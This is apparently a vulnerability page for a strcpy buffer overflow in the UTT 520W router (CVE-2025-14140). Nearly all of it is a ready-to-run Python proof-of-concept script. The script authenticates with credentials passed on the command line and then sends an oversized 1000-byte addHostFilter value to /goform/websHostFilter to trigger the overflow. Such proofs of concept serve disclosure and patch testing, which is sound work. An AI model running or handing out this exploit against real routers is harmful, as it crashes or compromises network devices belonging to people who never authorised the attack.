CVE-2025-14140 | UTT 进取520W路由器strcpy缓冲区溢出漏洞

import requests import sys # CVE-2025-14140 PoC - UTT 进取 520W Buffer Overflow # Target: /goform/websHostFilter def exploit_buffer_overflow(target_ip, username, password): """ Exploit CVE-2025-14140: Buffer overflow in strcpy at /goform/websHostFilter """ target_url = f"http://{target_ip}/goform/websHostFilter" # Create payload with oversized addHostFilter parameter # 1000+ bytes to trigger buffer overflow payload = { 'addHostFilter': 'A' * 1000 } # Attempt authentication and exploit session = requests.Session() try: # Login with low-privilege credentials login_data = { 'username': username, 'password': password } session.post(f"http://{target_ip}/login", data=login_data) # Send exploit payload response = session.post(target_url, data=payload, timeout=10) print(f"[*] Payload sent to {target_url}") print(f"[*] Payload length: {len(payload['addHostFilter'])}") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) target_ip = sys.argv[1] username = sys.argv[2] password = sys.argv[3] exploit_buffer_overflow(target_ip, username, password)